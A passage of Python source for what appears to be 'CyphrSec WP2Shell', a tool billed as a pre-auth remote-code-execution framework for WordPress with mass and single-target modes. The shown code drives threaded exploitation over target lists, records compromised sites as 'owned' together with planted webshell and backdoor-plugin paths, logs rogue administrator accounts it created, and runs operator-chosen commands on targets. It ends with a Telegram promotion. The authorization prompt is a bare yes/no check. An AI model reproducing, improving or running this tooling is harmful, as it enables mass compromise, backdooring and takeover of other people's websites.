CyphrSec WP2Shell admins created without RCE sink\\n\"\n            f\"# tg: https://t.me/kingepepp\\n\",\n            encoding=\"utf-8\",\n        )\n    except OSError:\n        pass\n\n    t0 = time.time()\n    results: List[Tuple[str, int]] = []\n    results_lock = threading.Lock()\n    print_lock = threading.Lock()\n    log_lock = threading.Lock()\n    counter = {\"done\": 0}\n    stats = {\"owned\": 0, \"fail\": 0, \"error\": 0, \"admin\": 0}\n\n    def work(item: Tuple[int, str]) -> Tuple[str, int]:\n        idx, target = item\n        buf = io.StringIO()\n        _TLS_STDOUT.set_buffer(buf)\n        _TLS_STDERR.set_buffer(buf)\n        code = 3\n        try:\n            try:\n                code = exploit_target(args, target)\n            except Exception as exc:\n                print(f\"[-] internal error {type(exc).__name__}: {exc}\")\n                code = 3\n        finally:\n            _TLS_STDOUT.set_buffer(None)\n            _TLS_STDERR.set_buffer(None)\n        body = buf.getvalue()\n\n        with results_lock:\n            results.append((target, code))\n\n        with log_lock:\n            with open(log_path, \"a\", encoding=\"utf-8\", errors=\"replace\") as f:\n                f.write(f\"\\n===== [{idx}/{total}] {target} =====\\n\")\n                if body.strip():\n                    f.write(body)\n                f.write(f\"[*] exit={code}\\n\")\n            with open(csv_path, \"a\", encoding=\"utf-8\", errors=\"replace\") as f:\n                f.write(f\"{target},{code}\\n\")\n            if code == 0:\n                shell = \"\"\n                if \"Webshell active\" in body:\n                    shell = target.rstrip(\"/\") + \"/wp-content/uploads/ws.php\"\n                elif \"Backdoor plugin installed\" in body:\n                    shell = (target.rstrip(\"/\")\n                             + \"/wp-content/plugins/astral/install.php\")\n                with open(owned_path, \"a\", encoding=\"utf-8\", errors=\"replace\") as f:\n                    line = f\"{target} | owned | {_ts()}\"\n                    if shell:\n                        line += f\" | {shell}\"\n                    f.write(line + \"\\n\")\n\n        with print_lock:\n            counter[\"done\"] += 1\n            if code == 0:\n                stats[\"owned\"] += 1\n            elif code == 4:\n                stats[\"admin\"] += 1\n            elif code == 3:\n                stats[\"error\"] += 1\n            else:\n                stats[\"fail\"] += 1\n\n            # unique symbols: hexagon filled/hollow + circled X\n            c_ok = mint(\"\u2b22\" + str(stats[\"owned\"]))\n            c_adm = amber(\"\u2b21\" + str(stats[\"admin\"]))\n            c_bad = coral(\"\u2297\" + str(stats[\"fail\"] + stats[\"error\"]))\n\n            if code == 0:\n                tag = mint(\"\u2b22\")\n                tgt = mint(target)\n            elif code == 4:\n                tag = amber(\"\u2b21\")\n                tgt = amber(target)\n            else:\n                tag = coral(\"\u2297\")\n                tgt = gray(target)\n\n            # right-pad target visually so counters align\n            tgt_vis = len(target)\n            tgt_pad = \" \" * max(0, 52 - tgt_vis)\n\n            print(f\"  {tag}  {tgt}{tgt_pad}{c_ok}  {c_adm}  {c_bad}\",\n                  flush=True)\n        return target, code\n\n    # header\n    print()\n    print(box_top(\"MASS EXPLOIT\"))\n    print(box_line())\n    print(box_line(f\"   {lav('targets')} : {white(str(total))}\"\n                   f\"    {lav('workers')} : {white(str(args.concurrency))}\"\n                   f\"    {lav('delay')} : {white(str(getattr(args, 'delay', 2.0)) + 's')}\"))\n    print(box_line(f\"   {lav('cmd')}     : {white(args.cmd)}\"))\n    print(box_line())\n    print(box_bot())\n    print()\n\n    if args.concurrency > 1:\n        with concurrent.futures.ThreadPoolExecutor(max_workers=args.concurrency) as ex:\n            list(ex.map(work, enumerate(targets, 1)))\n    else:\n        for item in enumerate(targets, 1):\n            work(item)\n\n    elapsed = time.time() - t0\n    n_owned = stats[\"owned\"]\n    n_fail = stats[\"fail\"]\n    n_error = stats[\"error\"]\n    n_admin = stats[\"admin\"]\n\n    print()\n    print(box_top(\"SUMMARY\"))\n    print(box_line())\n    print(box_line(f\"   {mint('\u2b22 owned')}  : {mint(str(n_owned)).ljust(6)}\"\n                   f\"    {amber('\u2b21 admin')} : {amber(str(n_admin)).ljust(6)}\"))\n    print(box_line(f\"   {coral('\u2297 fail')}   : {coral(str(n_fail)).ljust(6)}\"\n                   f\"    {gray('errors')} : {gray(str(n_error)).ljust(6)}\"))\n    print(box_line(f\"   {lav('time')}   : {white(f'{elapsed:.1f}s')}\"))\n    print(box_line())\n    print(box_bot())\n\n    if stats[\"owned\"]:\n        print()\n        print(mint(\"\u2500\u2500 owned \u2500\u2500\"))\n        for t, _c in (r for r in results if r[1] == 0):\n            print(f\"  {mint('\u2b22')} {white(t)}\")\n    if n_admin:\n        print()\n        print(amber(\"\u2500\u2500 admins created (see admins.txt) \u2500\u2500\"))\n        for t, _c in (r for r in results if r[1] == 4):\n            print(f\"  {amber('\u2b21')} {white(t)}\")\n\n    fail_list = [(t, c) for t, c in results if c not in (0, 4)]\n    if fail_list:\n        print()\n        print(coral(\"\u2500\u2500 failed \u2500\u2500\"))\n        shown = fail_list[:300]\n        for t, code in shown:\n            print(f\"  {coral('\u2297')} {gray(t)}  {dim('exit=' + str(code))}\")\n        if len(fail_list) > len(shown):\n            print(coral(f\"  ... and {len(fail_list) - len(shown)} more\"))\n\n    print()\n    print(dim(f\"saved: {owned_path} | {_ADMIN_LOG} | {log_path} | {csv_path}\"))\n    print(violet(\"TG  \") + cyan(\"https://t.me/kingepepp\"))\n    return 0 if stats[\"owned\"] == total else 1\n\n\n# \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\n#  SINGLE TARGET MODE \u2014 wizard (no more empty box)\n# \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\n\ndef run_single(args, parser) -> int:\n    global _ANSI\n    _ANSI = (not getattr(args, \"no_color\", False)) and (\n        os.environ.get(\"FORCE_COLOR\") == \"1\" or _STDOUT_ISATTY)\n\n    # collect target\n    target = args.target[0] if args.target else None\n    if not target:\n        target = _ask(f\"  {violet('target')} > \", \"\")\n        if not target:\n            print(coral(\"[-]\") + \" no target given\")\n            return 2\n\n    # collect cmd\n    cmd = getattr(args, \"cmd\", None)\n    if not cmd:\n        cmd = _ask(f\"  {violet('cmd')}    > [{dim('id')}] \", \"id\")\n\n    authorized = getattr(args, \"authorized\", False)\n    if not authorized:\n        yn = _ask(f\"  {violet('authorized')} > [{dim('y/N')}] \", \"n\")\n        authorized = yn.lower() in (\"y\", \"yes\")\n\n    if not authorized:\n        print(coral(\"[-]\") + \" must acknowledge authorization\")\n        return 2\n\n    args.target = [target]\n    args.cmd = cmd\n    args.authorized = True\n    args.targets_file = getattr(args, \"targets_file\", []) or []\n    if not getattr(args, \"log\", None):\n        args.log = \"single_log.txt\"\n    if not getattr(args, \"results_csv\", None):\n        args.results_csv = \"single_results.csv\"\n    if not getattr(args, \"owned\", None):\n        args.owned = \"pwn.txt\"\n\n    try:\n        Path(args.log).write_text(\"\", encoding=\"utf-8\")\n        Path(args.results_csv).write_text(\"target,exit_code\\n\", encoding=\"utf-8\")\n    except OSError:\n        pass\n\n    t0 = time.time()\n    print()\n    print(box_top(\"SINGLE EXPLOIT\"))\n    print(box_line())\n    print(box_line(f\"   {lav('target')} : {white(target)}\"))\n    print(box_line(f\"   {lav('cmd')}    : {white(cmd)}\"))\n    print(box_line())\n    print(box_bot())\n    print()\n\n    code = 3\n    try:\n        code = exploit_target(args, target)\n    except Exception as exc:\n        print(coral(\"[-]\") + f\" internal error {type(exc).__name__}: {exc}\",\n              file=sys.stderr)\n\n    elapsed = time.time() - t0\n    print()\n    print(box_top(\"RESULT\"))\n    print(box_line())\n    if code == 0:\n        print(box_line(f\"   {lav('status')} : {mint('OWNED \u2014 RCE confirmed')}\"))\n    elif code == 4:\n        print(box_line(f\"   {lav('status')} : {amber('ADMIN CREATED \u2014 no RCE sink')}\"))\n    elif code == 2:\n        print(box_line(f\"   {lav('status')} : \"\n                       f\"{coral('NOT VULNERABLE / NOT CONFIRMED')}\"))\n    else:\n        print(box_line(f\"   {lav('status')} : {coral('ERROR (exit ' + str(code) + ')')}\"))\n    print(box_line(f\"   {lav('time')}   : {white(f'{elapsed:.1f}s')}\"))\n    print(box_line())\n    print(box_bot())\n\n    try:\n        with open(args.results_csv, \"a\", encoding=\"utf-8\") as f:\n            f.write(f\"{target},{code}\\n\")\n    except OSError:\n        pass\n\n    return code\n\n\n# \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\n#  ARG PARSER\n# \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\n\ndef build_parser() -> argparse.ArgumentParser:\n    parser = argparse.ArgumentParser(\n        prog=\"wp2shell.py\",\n        description=\"CyphrSec WP2Shell \u2014 pre-auth RCE framework for WordPress \"\n                    \"CVE-2026-63030 + CVE-2026-60137 (mass + single target).\",\n    )\n    parser.add_argument(\"--version\", action=\"version\",\n                        version=f\"%(prog)s {TOOL_VERSION}\")\n    subparsers = parser.add_subparsers(dest=\"command\", required=False)\n\n    remote = subparsers.add_parser(\n        \"remote\", help=\"Scan one or more authorized HTTP(S) WordPress targets.\")\n    remote.add_argument(\"-u\", \"--target\", action=\"append\", default=[])\n    remote.add_argument(\"-l\", \"--targets-file\", action=\"append\", default=[])\n    remote.add_argument(\"--stdin\", action=\"store_true\")\n    remote.add_argument(\"--authorized\", action=\"store_true\")\n    remote.add_argument(\"--default-scheme\", choices=[\"https\", \"http\"],\n                        default=\"https\")\n    remote.add_argument(\"-c\", \"--concurrency\", type=int,\n                        default=DEFAULT_CONCURRENCY)\n    remote.add_argument(\"--rate\", type=float, default=DEFAULT_RATE)\n    remote.add_argument(\"--timeout\", type=float, default=DEFAULT_TIMEOUT)\n    remote.add_argument(\"--retries\", type=int, default=1)\n    remote.add_argument(\"--max-targets\", type=int, default=None)\n    remote.add_argument(\"--max-body-bytes\", type=int, default=DEFAULT_MAX_BODY)\n    remote.add_argument(\"-k\", \"--insecure\", action=\"store_true\")\n    remote.add_argument(\"--no-redirects\", action=\"store_true\")\n    remote.add_argument(\"--allow-cross-host-redirects\", action=\"store_true\")\n    remote.add_argument(\"--proxy\")\n    remote.add_argument(\"-H\", \"--header\", action=\"append\", default=[])\n    remote.add_argument(\"--user-agent\", default=DEFAULT_USER_AGENT)\n    remote.add_argument(\"--fingerprint-level\",\n                        choices=[\"quick\", \"standard\", \"extended\"],\n                        default=\"standard\")\n    remote.add_argument(\"--active-probe\", action=\"store_true\")\n    remote.add_argument(\"--rest-endpoint\",\n                        choices=[\"query\", \"pretty\", \"both\"], default=\"both\")\n    remote.add_argument(\"--include-request-log\", action=\"store_true\")\n    remote.add_argument(\"-f\", \"--format\",\n                        choices=[\"table\", \"json\", \"jsonl\", \"csv\"],\n                        default=\"table\")\n    remote.add_argument(\"-o\", \"--output\")\n    remote.add_argument(\"--fail-on\",\n                        choices=[\"never\", \"vulnerable\", \"unknown\"],\n                        default=\"vulnerable\")\n\n    local = subparsers.add_parser(\n        \"local\", help=\"Read the exact version from a local WordPress source tree.\")\n    local.add_argument(\"--wordpress-root\", required=True)\n    local.add_argument(\"-f\", \"--format\",\n                       choices=[\"table\", \"json\", \"jsonl\", \"csv\"],\n                       default=\"table\")\n    local.add_argument(\"-o\", \"--output\")\n    local.add_argument(\"--fail-on\",\n                       choices=[\"never\", \"vulnerable\", \"unknown\"],\n                       default=\"vulnerable\")\n\n    exploit_parser = subparsers.add_parser(\n        \"exploit\", help=\"Mass full-chain exploitation: achieve pre-auth RCE.\")\n    exploit_parser.add_argument(\"-u\", \"--target\", action=\"append\", default=[])\n    exploit_parser.add_argument(\"-l\", \"--targets-file\", action=\"append\", default=[])\n    exploit_parser.add_argument(\"--cmd\", default=None)\n    exploit_parser.add_argument(\"--authorized\", action=\"store_true\", required=True)\n    exploit_parser.add_argument(\"--default-scheme\",\n                                choices=[\"https\", \"http\"], default=\"https\")\n    exploit_parser.add_argument(\"--timeout\", type=float, default=DEFAULT_TIMEOUT)\n    exploit_parser.add_argument(\"--retries\", type=int, default=1)\n    exploit_parser.add_argument(\"-k\", \"--insecure\", action=\"store_true\")\n    exploit_parser.add_argument(\"-c\", \"--concurrency\", type=int, default=1)\n    exploit_parser.add_argument(\"--delay\", type=float, default=2.0)\n    exploit_parser.add_argument(\"--log\", default=\"exploit_log.txt\")\n    exploit_parser.add_argument(\"--results-csv\", default=\"results.csv\")\n    exploit_parser.add_argument(\"--owned\", default=\"pwn.txt\")\n    exploit_parser.add_argument(\"--no-color\", action=\"store_true\")\n    exploit_parser.add_argument(\"--proxy\")\n    exploit_parser.add_argument(\"--rate\", type=float, default=DEFAULT_RATE)\n    exploit_parser.add_argument(\"--header\", action=\"append\", default=[])\n    exploit_parser.add_argument(\"--debug\", action=\"store_true\")\n    exploit_parser.add_argument(\"--password\")\n    exploit_parser.add_argument(\"--username\", default=\"admin\")\n    exploit_parser.add_argument(\"--wordlist\")\n    exploit_parser.add_argument(\"-o\", \"--output\")\n\n    single = subparsers.add_parser(\n        \"single\", help=\"Interactive single-target exploit wizard.\")\n    single.add_argument(\"-u\", \"--target\", action=\"append\", default=[])\n    single.add_argument(\"--cmd\", default=None)\n    single.add_argument(\"--authorized\", action=\"store_true\")\n    single.add_argument(\"--default-scheme\", choices=[\"https\", \"http\"],\n                        default=\"https\")\n    single.add_argument(\"--timeout\", type=float, default=DEFAULT_TIMEOUT)\n    single.add_argument(\"--retries\", type=int, default=1)\n    single.add_argument(\"-k\", \"--insecure\", action=\"store_true\")\n    single.add_argument(\"--delay\", type=float, default=2.0)\n    single.add_argument(\"--log\", default=\"single_log.txt\")\n    single.add_argument(\"--results-csv\", default=\"single_results.csv\")\n    single.add_argument(\"--owned\", default=\"pwn.txt\")\n    single.add_argument(\"--no-color\", action=\"store_true\")\n    single.add_argument(\"--proxy\")\n    single.add_argument(\"--rate\", type=float, default=DEFAULT_RATE)\n    single.add_argument(\"--header\", action=\"append\", default=[])\n    single.add_argument(\"--debug\", action=\"store_true\")\n    single.add_argument(\"--password\")\n    single.add_argument(\"--username\", default=\"admin\")\n    single.add_argument(\"--wordlist\")\n    single.add_argument(\"-o\", \"--output\")\n\n    return parser\n\n\n# \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\n#  OUTPUT FORMATTERS\n# \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\n\ndef exit_code_for(rows: Sequence[Mapping[str, Any]], policy: str) -> int:\n    if policy == \"never\":\n        return 0\n    vulnerable_verdicts = {\n        \"CONFIRMED_VULNERABLE_BEHAVIOR\", \"CONFIRMED_AFFECTED_VERSION\",\n        \"LIKELY_VULNERABLE\", \"VULNERABLE_SQLI_ONLY\",\n        \"AFFECTED_VERSION_BUT_BEHAVIOR_NOT_OBSERVED\",\n    }\n    if any(str(row.get(\"verdict\")) in vulnerable_verdicts for row in rows):\n        return 2\n    if policy == \"unknown\":\n        unknown_verdicts = {\n            \"UNKNOWN\", \"UNKNOWN_PRERELEASE\", \"POTENTIALLY_EXPOSED_VERSION_UNKNOWN\",\n            \"WORDPRESS_VERSION_UNKNOWN\", \"ERROR\",\n        }\n        if any(str(row.get(\"verdict\")) in unknown_verdicts for row in rows):\n            return 3\n    return 0\n\n\ndef read_targets(direct: Sequence[str], files: Sequence[str], read_stdin: bool,\n                 max_targets: int) -> List[str]:\n    targets = list(direct)\n    for filename in files:\n        try:\n            lines = Path(filename).read_text(encoding=\"utf-8-sig\").splitlines()\n        except OSError as exc:\n            raise ValueError(f\"cannot read targets file {filename!r}: {exc}\") from exc\n        for line in lines:\n            stripped = line.strip()\n            if not stripped or stripped.startswith(\"#\"):\n                continue\n            targets.append(stripped.split()[0])\n    if read_stdin:\n        for line in sys.stdin:\n            stripped = line.strip()\n            if not stripped or stripped.startswith(\"#\"):\n                continue\n            targets.append(stripped.split()[0])\n    deduped = []\n    seen = set()\n    for target in targets:\n        if target not in seen:\n            deduped.append(target)\n            seen.add(target)\n    if not deduped:\n        raise ValueError(\"no targets supplied\")\n    if max_targets is not None and (max_targets <= 0 or max_targets > MAX_TARGETS_HARD):\n        raise ValueError(f\"--max-targets must be between 1 and {MAX_TARGETS_HARD}\")\n    if max_targets is not None and len(deduped) > max_targets:\n        raise ValueError(f\"target count {len(deduped)} exceeds --max-targets {max_targets}\")\n    return deduped\n\n\ndef parse_local_version(root: Path) -> Tuple[Optional[WPVersion], Path, List[str]]:\n    errors: List[str] = []\n    version_file = root / \"wp-includes\" / \"version.php\"\n    if not version_file.is_file():\n        return None, version_file, [f\"not found: {version_file}\"]\n    try:\n        content = version_file.read_text(encoding=\"utf-8\", errors=\"replace\")\n    except OSError as exc:\n        return None, version_file, [f\"cannot read {version_file}: {exc}\"]\n    match = re.search(r\"\\$wp_version\\s*=\\s*['\\\"]([^'\\\"]+)['\\\"]\\s*;\", content, re.I)\n    if not match:\n        errors.append(\"$wp_version assignment was not found\")\n        return None, version_file, errors\n    version = parse_wp_version(match.group(1))\n    if version is None:\n        errors.append(f\"could not parse version value {match.group(1)!r}\")\n    return version, version_file, errors\n\n\ndef scan_local(root_text: str) -> LocalResult:\n    root = Path(root_text).expanduser().resolve()\n    result = LocalResult(wordpress_root=str(root))\n    version, version_file, errors = parse_local_version(root)\n    result.version_file = str(version_file)\n    result.errors.extend(errors)\n    if version is None:\n        result.verdict = \"ERROR\"\n        result.severity = \"info\"\n        result.summary = \"An exact WordPress source version could not be read.\"\n        result.remediation = (\"Point --wordpress-root at the directory containing \"\n                              \"wp-includes/version.php.\")\n        return result\n    result.selected_version = str(version)\n    assessment, verdict, severity, summary = assess_version(version)\n    result.version_assessment = assessment\n    result.verdict = verdict\n    result.severity = severity\n    result.summary = summary\n    if verdict == \"LIKELY_VULNERABLE\":\n        result.verdict = \"CONFIRMED_AFFECTED_VERSION\"\n        result.remediation = _safe_remediation()\n    elif verdict == \"VULNERABLE_SQLI_ONLY\":\n        result.remediation = (\"Update WordPress 6.8.x to 6.8.6 or a later \"\n                              \"supported release.\")\n    else:\n        result.remediation = (\"Keep WordPress core on the latest supported \"\n                              \"security release and verify core checksums.\")\n    return result\n\n\ndef severity_rank(value: str) -> int:\n    return {\"critical\": 4, \"high\": 3, \"medium\": 2, \"low\": 1, \"info\": 0}.get(value, 0)\n\n\ndef format_table(rows: Sequence[Mapping[str, Any]]) -> str:\n    headers = [\"SEVERITY\", \"VERDICT\", \"VERSION\", \"BATCH\", \"ACTIVE\", \"TARGET\"]\n    data: List[List[str]] = []\n    for row in rows:\n        active = row.get(\"active_probe\", {}) if isinstance(row.get(\"active_probe\"), dict) else {}\n        data.append([\n            str(row.get(\"severity\", \"\")),\n            str(row.get(\"verdict\", \"\")),\n            str(row.get(\"selected_version\") or \"-\"),\n            (\"yes\" if row.get(\"batch_route_exposed\") is True\n             else \"no\" if row.get(\"batch_route_exposed\") is False else \"?\"),\n            str(active.get(\"result\", \"-\")),\n            str(row.get(\"target\") or row.get(\"wordpress_root\") or \"\"),\n        ])\n    widths = [len(h) for h in headers]\n    for row in data:\n        for idx, cell in enumerate(row):\n            widths[idx] = min(max(widths[idx], len(cell)),\n                              46 if idx in {1, 5} else 28)\n\n    def render(row: Sequence[str]) -> str:\n        cells = []\n        for idx, cell in enumerate(row):\n            shown = cell\n            if len(shown) > widths[idx]:\n                shown = shown[:max(1, widths[idx] - 1)] + \"\u2026\"\n            cells.append(shown.ljust(widths[idx]))\n        return \"  \".join(cells)\n\n    lines = [render(headers), render([\"-\" * w for w in widths])]\n    lines.extend(render(row) for row in data)\n    return \"\\n\".join(lines)\n\n\n_CSV_FIELDS = [\n    \"target\", \"normalized_target\", \"wordpress_detected\", \"selected_version\",\n    \"version_confidence\", \"version_assessment\", \"batch_route_exposed\",\n    \"active_probe_result\", \"verdict\", \"severity\", \"summary\", \"remediation\",\n    \"errors\", \"scanned_at\",\n]\n\n\ndef _flat_row(row: Mapping[str, Any]) -> Dict[str, Any]:\n    active = row.get(\"active_probe\", {}) if isinstance(row.get(\"active_probe\"), dict) else {}\n    return {\n        \"target\": row.get(\"target\") or row.get(\"wordpress_root\"),\n        \"normalized_target\": row.get(\"normalized_target\"),\n        \"wordpress_detected\": row.get(\"wordpress_detected\"),\n        \"selected_version\": row.get(\"selected_version\"),\n        \"version_confidence\": row.get(\"version_confidence\"),\n        \"version_assessment\": row.get(\"version_assessment\"),\n        \"batch_route_exposed\": row.get(\"batch_route_exposed\"),\n        \"active_probe_result\": active.get(\"result\"),\n        \"verdict\": row.get(\"verdict\"),\n        \"severity\": row.get(\"severity\"),\n        \"summary\": row.get(\"summary\"),\n        \"remediation\": row.get(\"remediation\"),\n        \"errors\": \" | \".join(row.get(\"errors\", [])),\n        \"scanned_at\": row.get(\"scanned_at\"),\n    }\n\n\ndef _csv_append(path: str, row: Mapping[str, Any], first: bool) -> None:\n    with open(path, \"a\", newline=\"\", encoding=\"utf-8\", errors=\"replace\") as f:\n        writer = csv.DictWriter(f, fieldnames=_CSV_FIELDS)\n        if first:\n            writer.writeheader()\n        writer.writerow(_flat_row(row))\n\n\ndef output_results(rows: Sequence[Mapping[str, Any]], output_format: str,\n                   output_path: Optional[str]) -> None:\n    if output_format == \"json\":\n        text = json.dumps(list(rows), indent=2, sort_keys=True) + \"\\n\"\n    elif output_format == \"jsonl\":\n        text = \"\".join(json.dumps(row, sort_keys=True) + \"\\n\" for row in rows)\n    elif output_format == \"csv\":\n        buffer = io.StringIO()\n        writer = csv.DictWriter(buffer, fieldnames=_CSV_FIELDS)\n        writer.writeheader()\n        for row in rows:\n            writer.writerow(_flat_row(row))\n        text = buffer.getvalue()\n    else:\n        text = format_table(rows) + \"\\n\"\n    if output_path:\n        Path(output_path).write_text(text, encoding=\"utf-8\")\n    else:\n        sys.stdout.write(text)\n\n\n# \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\n#  REMOTE SCAN\n# \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\n\ndef scan_target(raw_target: str, config: ScanConfig,\n                limiter: RateLimiter) -> ScanResult:\n    result = ScanResult(target=raw_target)\n    try:\n        base = normalize_target(raw_target, config.default_scheme)\n    except ValueError as exc:\n        result.errors.append(str(exc))\n        finalize_scan_result(result)\n        return result\n    result.normalized_target = base\n    client = HttpClient(config, limiter)\n    responses: List[Tuple[str, HttpResult]] = []\n\n    home = client.request(\"GET\", endpoint_url(base, \"home\"))\n    _record_request(result, home, config.include_request_log)\n    responses.append((\"home\", home))\n    result.final_target = home.final_url\n    if home.error and home.status is None:\n        result.errors.append(f\"home: {home.error}\")\n\n    rest_query = client.request(\"GET\", endpoint_url(base, \"rest-query-index\"))\n    _record_request(result, rest_query, config.include_request_log)\n    responses.append((\"rest-index\", rest_query))\n    batch_exposed, rest_valid = parse_rest_index(rest_query)\n\n    if not rest_valid:\n        rest_pretty = client.request(\"GET\", endpoint_url(base, \"rest-pretty-index\"))\n        _record_request(result, rest_pretty, config.include_request_log)\n        responses.append((\"rest-index\", rest_pretty))\n        pretty_batch, pretty_valid = parse_rest_index(rest_pretty)\n        if pretty_valid:\n            batch_exposed = pretty_batch\n            rest_valid = True\n        elif rest_pretty.error and rest_pretty.status is None:\n            result.errors.append(f\"REST index: {rest_pretty.error}\")\n    result.batch_route_exposed = batch_exposed\n\n    if config.fingerprint_level in {\"standard\", \"extended\"}:\n        feed = client.request(\"GET\", endpoint_url(base, \"feed\"))\n        _record_request(result, feed, config.include_request_log)\n        responses.append((\"feed\", feed))\n    if config.fingerprint_level == \"extended\":\n        readme = client.request(\"GET\", endpoint_url(base, \"readme\"))\n        _record_request(result, readme, config.include_request_log)\n        responses.append((\"readme\", readme))\n\n    wp_confidence = 0.0\n    evidence: List[VersionEvidence] = []\n    for source_hint, response in responses:\n        confidence, _signals = wordpress_signals(response)\n        wp_confidence = max(wp_confidence, confidence)\n        evidence.extend(extract_version_evidence(response, source_hint))\n\n    result.wordpress_confidence = wp_confidence\n    result.wordpress_detected = wp_confidence >= 0.50 or rest_valid\n    result.version_evidence = evidence\n    selected, selected_confidence, conflict = select_version(evidence)\n    result.selected_version = str(selected) if selected else None\n    result.version_confidence = selected_confidence\n    result.version_conflict = conflict\n\n    if config.active_probe and result.wordpress_detected:\n        endpoint_kinds = (\n            [\"rest-query-batch\"] if config.rest_endpoint == \"query\"\n            else [\"rest-pretty-batch\"] if config.rest_endpoint == \"pretty\"\n            else [\"rest-query-batch\", \"rest-pretty-batch\"]\n        )\n        best_probe: Optional[ActiveProbeResult] = None\n        for kind in endpoint_kinds:\n            probe_response = client.request(\n                \"POST\", endpoint_url(base, kind),\n                json_body=SAFE_ROUTE_CONFUSION_PROBE,\n                headers={\"X-WP2Shell-Detector\": \"safe-read-only\"},\n                retry=False)\n            _record_request(result, probe_response, config.include_request_log)\n            probe = analyze_active_probe(probe_response)\n            if best_probe is None:\n                best_probe = probe\n            if probe.vulnerable_signal or probe.patched_signal:\n                best_probe = probe\n                break\n            if probe.result not in {\"blocked-or-unavailable\", \"transport-error\"}:\n                best_probe = probe\n        result.active_probe = best_probe or ActiveProbeResult(\n            attempted=True, result=\"indeterminate\")\n\n    finalize_scan_result(result)\n    return result\n\n\ndef run_remote(args: argparse.Namespace, parser: argparse.ArgumentParser) -> int:\n    authorized = args.authorized or os.environ.get(\"WP2SHELL_AUTHORIZED\") == \"1\"\n    if not authorized:\n        parser.error(\"remote scanning requires --authorized \"\n                     \"(or WP2SHELL_AUTHORIZED=1) to acknowledge target authorization\")\n    if not 1 <= args.concurrency <= MAX_CONCURRENCY:\n        parser.error(f\"--concurrency must be between 1 and {MAX_CONCURRENCY}\")\n    if args.rate < 0:\n        parser.error(\"--rate cannot be negative\")\n    if args.timeout <= 0:\n        parser.error(\"--timeout must be greater than zero\")\n    if not 